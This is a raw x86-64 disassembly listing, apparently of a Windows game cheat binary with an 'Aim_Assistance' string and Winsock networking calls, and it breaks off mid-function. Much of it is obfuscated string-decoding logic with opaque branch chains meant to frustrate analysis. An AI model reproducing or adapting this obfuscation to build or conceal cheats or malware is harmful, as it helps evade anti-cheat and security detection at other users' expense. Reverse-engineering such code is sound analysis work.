mov edx, 0x2a
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x420]
add rax, r8
add r10, rax
inc r10
jmp 0x140075e03
sub r10b, 0x14
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x74
jmp 0x140075e00
sub r10b, 0xc
movzx eax, r10b
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140075de7
lea rdx, [rbp + 0x154bd70]
jmp 0x140076753
lea rdx, [rbp + 0x8dca6c]
jmp 0x140076753
lea rdx, [rbp + 0x420]
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x210], xmm1
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140076770
lea rcx, [rbp + 0x200]
call fcn.1400412c0
nop
mov r8d, recv
lea rdx, str.Oct_26_2024
lea rcx, [rbp + 0x200]
call fcn.140050d80
xorps xmm0, xmm0
movups xmmword [rbp + 0x670], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x680], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x670], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x680], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0x200]
call fcn.140043df0
lea rcx, [rbp + 0x638]
call fcn.14000f4b0
lea rdx, [rbp + 0x670]
cmp qword [rbp + 0x688], 0xf
cmova rdx, qword [rbp + 0x670]
movss xmm0, dword [0x1401443d4]
movss dword [rsp + 0x20], xmm0
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x640]
call fcn.14000aea0
movss xmm0, dword [rbp + 0x638]
subss xmm0, dword [rbp + 0x640]
mulss xmm0, xmm6
call fcn.14001a730
lea rcx, [rbp + 0x670]
cmp qword [rbp + 0x688], 0xf
cmova rcx, qword [rbp + 0x670]
call fcn.14003fc90
call fcn.1400164e0
call fcn.14000a4c0
lea r13, str._.3f
cmp dword [0x1401ecdbc], 0
jne 0x1400804ca
mov dword [rbp + 0xc], 0x42aa0000
mov dword [rbp + 0x10], 0x428c0000
lea rcx, [rbp + 0xc]
call fcn.14001a6b0
mov dword [rbp + 0x14], 0x438d0000
mov dword [rbp + 0x18], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x14]
lea rcx, str.Aim_Assistance
call fcn.140009cf0
mov byte [rbp + 0x1a0], 0xa1
mov byte [rbp + 0x1a1], 0xc7
mov byte [rbp + 0x1a2], 0xdb
mov byte [rbp + 0x1a3], 0xd9
mov byte [rbp + 0x1a4], 0xc6
mov byte [rbp + 0x1a5], 0xda
mov byte [rbp + 0x1a6], 0x9c
mov byte [rbp + 0x1a7], 0xbc
mov byte [rbp + 0x1a8], 0xc5
mov byte [rbp + 0x1a9], 0xce
mov byte [rbp + 0x1aa], reloc.WS2_32.dll_WSASetLastError
xorps xmm0, xmm0
movups xmmword [rbp + 0x1ab], xmm0
movabs rsi, 0xdf404fa8e290ac8f
movabs r15, 0x1ac22d9e31f4b7e9
movabs r14, 0x9dc0eefaa7b205ad
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x1b
jae 0x140077448
movzx r9d, byte [rbp + r10 + 0x1a0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007743f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007699c
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x17
jmp 0x1400769d6
je 0x1400773d1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140077350
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007731e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400772fa
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400772b3
cmp r8, r10
ja 0x140077436
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x140076a00
lea ecx, [r10 - 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1d
jmp 0x140076a30
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140077297
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140077276
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140077235
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140076fa0
nop dword [rax]
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140076f81
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140076f59
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140076f34
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140076f11
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140076ef6
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140076edb
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140076ec0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140076ea1
lea rcx, [r8 + 8]
cmp rbx, rcx
je 0x140076e70
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140076a40
mov rbx, rcx
lea r8, [rcx + 0x10]
lea rax, [r8 + 0x40]
cmp rcx, rax
jb 0x140077419
lea rax, [r8 + 0x400]
cmp rcx, rax
jb 0x1400773fc
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x140076c28
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x140076c0d
lea rax, [r8 + 3]
cmp rcx, rax
jb 0x140076bf2
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x140076e24
lea rax, [r8 + 6]
cmp rcx, rax
jb 0x140076dd5
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x140076d95
lea rcx, [r8 + 0x3e8]
cmp rbx, rcx
jb 0x140076d6f
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140076a40
mov rbx, rcx
lea r8, [rcx + 0x61]
lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x140076d42
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x140076d27
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x140076d08
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x140076ce9
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x140076cca
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x140076cab
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x140076c8a
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x140076c66
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x140076c43
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x140076a40
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x80]
jmp 0x140076a40
lea ecx, [r10 - 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7d
jmp 0x140076a30
lea ecx, [r10 - 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4f
jmp 0x1400769d6
lea ecx, [r10 + 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x21
jmp 0x140076966
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x1400772cd
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
inc r8
dec r10
inc r10
jmp 0x140076953
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
dec r10
inc r10
jmp 0x140076953
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
movzx r11d, r10b
jmp 0x14007724f
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140077334
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140077337
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140077366
lea ecx, [r10 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2a
jmp 0x14007738e
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140076953
lea ecx, [r10 + 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x35
mov byte [rbp + r10 + 0x1a0], dil
inc r10
jmp 0x140076953
lea ecx, [r10 - 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 7
cmp r8, 0x28
jb 0x140076d85
movzx r11d, r10b
lea ecx, [r11 - 6]
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x1400772cd
lea ecx, [r10 - 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x27
cmp rbx, 0x200
jae 0x1400771fb
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x140077121
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140076dab
lea ecx, [r10 - 0x3d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x55
lea rax, [r8 + rbx]
cmp rax, 6
je 0x14007721f
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x1400770a3
lea ecx, [r10 + 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7b
jmp 0x140076deb
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140076953
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007738e
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
jmp 0x140077366
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x140077337
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
jmp 0x140077334
movzx r11d, r10b
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007724f
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140076953
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140076953
movzx r11d, r10b
lea ecx, [r11 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
jmp 0x1400772cd
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x140076fc7
lea ecx, [r10 - 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x17
jmp 0x140076e3a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140076ffd
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140076953
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140077021
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
jmp 0x14007738e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140077049
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140077366
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140077073
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x26
dec r10
inc r10
jmp 0x140076953
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140076e3a
movzx r11d, r10b
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400772cd
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400770cb
movzx r11d, r10b
lea ecx, [r11 + 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x57
jmp 0x1400772cd
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400770f5
lea ecx, [r10 + 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 5
dec r10
inc r10
jmp 0x140076953
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140076deb
movzx r11d, r10b
lea ecx, [r11 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
jmp 0x14007724f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140077157
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140076953
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007717b
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x140077366
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400771a3
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140077334
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400771cf
movzx r11d, r10b
lea edx, [r11 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007724f
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140076dab
movzx r11d, r10b
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
jmp 0x1400772cd
movzx r11d, r10b
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x1a0]
sub cl, al
add cl, 0x2c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007724f
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x7a]
jmp 0x140077366
movzx r11d, r10b
lea ecx, [r11 + 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x65
sub r11b, 0x59
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x6f
add r11b, r9b
add r11b, dil
mov byte [rbp + r10 + 0x1a0], r11b
jmp 0x140077334
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
dec r10
inc r10
jmp 0x140076953
movzx r11d, r10b
lea ecx, [r11 - 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x11
jmp 0x1400772cd
movzx r11d, r10b
lea ecx, [r11 - 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4b
sub r11b, 0x77
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x41
add r11b, r9b
mov byte [rbp + r10 + 0x1a0], r11b
inc r8
dec r10
inc r10
jmp 0x140076953
lea ecx, [r10 + 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x79
inc r8
dec r10
inc r10
jmp 0x140076953
lea ecx, [r10 + 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 3
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140076953
lea rax, [r10 + r15]
movzx r9d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
sub dil, 0x5f
lea ecx, [r10 - 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x63
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x1a0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r9b
mov byte [rbp + r10 + 0x1a0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140076953
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x45
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140076953
add r10b, 0x4b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xd
jmp 0x140076950
add r10b, 0x2d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3b
jmp 0x140076934
lea rcx, [rbp + 0x173f1b4]
jmp 0x14007744f
lea rcx, [rbp + 0x849e43]
jmp 0x14007744f
lea rcx, [rbp + 0x1a0]
lea rdx, [0x1401eb1a1]
call fcn.140039930
mov byte [rbp + 0x260], WSAStartup
mov byte [rbp + 0x261], 0x57
mov byte [rbp + 0x262], 0x43
mov byte [rbp + 0x263], 0x4d
mov byte [rbp + 0x264], 0x46
mov byte [rbp + 0x265], 0x42
mov byte [rbp + 0x266], 0x88
mov byte [rbp + 0x267], 0x7b
mov byte [rbp + 0x268], 0x58
mov byte [rbp + 0x269], 0x42
mov byte [rbp + 0x26a], 0x45
mov byte [rbp + 0x26b], 0x5a
mov byte [rbp + 0x26c], 0x59
mov byte [rbp + 0x26d], 0x47
mov byte [rbp + 0x26e], 0xb0
xor eax, eax
mov qword [rbp + 0x26f], rax
mov dword [rbp + 0x277], eax
mov word [rbp + 0x27b], ax
mov byte [rbp + 0x27d], al
movabs r14, 0x2b98e004bdd2765
movabs r15, 0x1885fe02aac6628d
movabs r13, 0x1312e202130c13c3
movabs r12, 0x82caa00e397762f
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x1e
jae 0x140077e67
movzx r9d, byte [rbp + r10 + 0x260]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x140077e5e
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007756c
lea rcx, [r10 + r14]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x3d
jmp 0x1400775a6
je 0x140077df0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140077d66
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140077d39
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140077d17
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140077ccc
cmp r8, r10
ja 0x140077e55
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400775cf
lea ecx, [r10 + 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
inc dil
jmp 0x140077610
je 0x140077caf
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140077c8d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140077c43
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140077c24
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140077bf6
nop dword [rax]
lea r11, [r8 + rbx]
cmp r11, r10
jbe 0x1400778a1
nop dword [rax]
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140077881
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007785c
lea rcx, [r8 + 5]
cmp rbx, rcx
je 0x140077837
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140077818
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400777f6
mov rbx, rcx
lea r8, [rcx + 0x1000]
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x140077e38
lea rax, [r8 + 0x64]
cmp rcx, rax
jb 0x140077e1b
lea rcx, [r8 + 0x1000]
cmp rbx, rcx
jb 0x140077733
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140077718
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400776fd
mov rbx, rcx
lea r8, [rcx + 0x10]
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x1400777c5
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x1400777aa
lea rcx, [r8 + 0x10]
cmp rbx, rcx
ja 0x14007778b
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140077770
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007774e
mov rbx, rcx
lea r8, [rcx + 0x2a]
jmp 0x140077620
lea ecx, [r10 - 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1f
jmp 0x140077610
lea ecx, [r10 + 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5b
jmp 0x1400775a6
lea ecx, [r10 + 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2b
jmp 0x140077536
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140077d4d
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x140077d4d
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140077d80
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
jmp 0x140077dab
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140077523
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140077d4d
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
movzx r11d, r10b
jmp 0x140077c61
lea edx, [r10 - 6]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140077523
lea ecx, [r10 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x140077523
lea edx, [r10 + 0x66]
movzx eax, r9b
and al, dl
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x140077ce7
lea rsi, [r8 + 1]
cmp rbx, rsi
jae 0x14007793d
lea edx, [r10 + 0x65]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x3d
add dil, dl
cmp r11, 0x20
je 0x140077bda
cmp rbx, rsi
jbe 0x1400779ef
lea edx, [r10 + 0x11]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x77
add dil, dl
cmp rbx, 1
jae 0x140077baf
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140077ac8
lea edx, [r10 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140077523
jne 0x140077970
lea edx, [r10 - 0x6e]
movzx eax, r9b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140077523
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140077998
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140077dab
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400779c0
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140077d4d
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400778c8
lea ecx, [r10 + 0x4e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x22
dec r10
inc r10
jmp 0x140077523
jne 0x140077a11
movzx r11d, r10b
lea edx, [r11 - 0x25]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 3
jmp 0x140077ce7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140077a3c
lea ecx, [r10 + 0x6f]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 9
dec r10
inc r10
jmp 0x140077523
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140077a65
movzx r11d, r10b
lea edx, [r11 + 0x39]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x71
jmp 0x140077c5e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140077a8d
lea edx, [r10 - 0x69]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x21
add dil, dl
jmp 0x140077d80
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400778f5
lea ecx, [r10 + 0x2b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x2d
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140077523
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140077af0
lea edx, [r10 - 0x12]
movzx eax, r9b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140077dab
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140077b18
lea ecx, [r10 + 0x4c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x14
add rbx, r8
jmp 0x140077d4d
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140077b43
lea ecx, [r10 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
dec r10
inc r10
jmp 0x140077523
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140077b74
lea edx, [r10 - 0x56]
movzx eax, r9b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
